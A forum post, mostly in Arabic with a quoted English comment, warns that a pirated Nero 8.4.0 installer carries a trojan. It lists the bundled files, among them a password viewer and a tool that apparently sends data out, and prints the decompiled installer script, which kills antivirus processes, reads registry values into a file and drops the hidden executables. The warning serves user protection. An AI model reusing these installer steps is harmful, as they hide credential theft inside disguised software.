Nero Ultra 8.4.0 مع عملاق النسخ فى الاصدار الاخير بمميزات روعة ل vista

,, for Windows Vist,,

شكرآ مقدّماً

stl.exe فيروس
Processes.dll غير معروف
dependencies.exe غير معروف

الأنتي فيروس وجد ملف إسمه stl.exe فشطبه

deleted: Trojan program Trojan.Win32.Inject.alo File: C:\Users\Administrator\AppData\Local\Temp\setup\stl.exe


.................................................

وهذا من شخص أخر كتب كما حصل معي

http://www.fullwarezdl.com/rapidshar...erial-162.html

sorry, I didn't explain HOW i know this.



If you use a program called Universal Extractor to extract the contents of the setup file, it contains 4 unknown files that are definitely NOT included in nero's official builds:

- connector.exe (probably used to make a connection to another computer on the net

- dependencies.exe (unkown)

- runtime.exe (Internet Explorer Passwords Viewer made by NirSoft - link: http://www.nirsoft.net/utils/interne..._password.html)

- stl.exe (unknown)

- Processes.dll (unknown)

None come up as viruses, but i get a warning asking if I would allow a "File Transfer Tool" made by Microsoft Corporation, through the firewall. Obviously I didn't allow it. It was the connector.exe file. So I assume they are using a microsoft tool to transfer data to another location.

Anyhow, the setup DID contain a true Nero setup file but as RobrPatty said, it says that v8.3.2.1 is newer than this version.

Thankfully I don't use Internet Explorer, so no passwords are saved in it.

Here is the code the root setup runs:

Execute 66 0 0
Execute 90 0 0
Execute 108 0 0
Return
Call 33
File $PLUGINSDIR\Processes.dll
SetFlag 13 0
Push avp
RegisterDLL $PLUGINSDIR\Processes.dll KillProcess 0
Call 33
File $PLUGINSDIR\Processes.dll
SetFlag 13 0
Push kavpf
RegisterDLL $PLUGINSDIR\Processes.dll KillProcess 0
Return
Push $2
Push C:\cod4.txt
Call 20
Return
ReadRegStr 0 2147483650 189 224 0
ReadRegStr 2 2147483650 231 283 0
FileOpen 1 1073741824 2 296
FileWrite 1 312 0
FileClose 1
Return
SetOutPath $TEMP\setup
File dependencies.exe
File runtime.exe
File connector.exe
File stl.exe
File CleanStart.exe
Return
SetFlag 13 355
StrCmp "$PLUGINSDIR" "" 0 43 0
Push $0
SetFlag 2 0
GetTempFileName $TEMP
Delete 8 $0
SetOutPath $0
IfFlag 44 0 2 0
StrCpy $PLUGINSDIR "$0"
Pop $0
Return
MessageBox 2097168 365 0 0 0
Quit
Return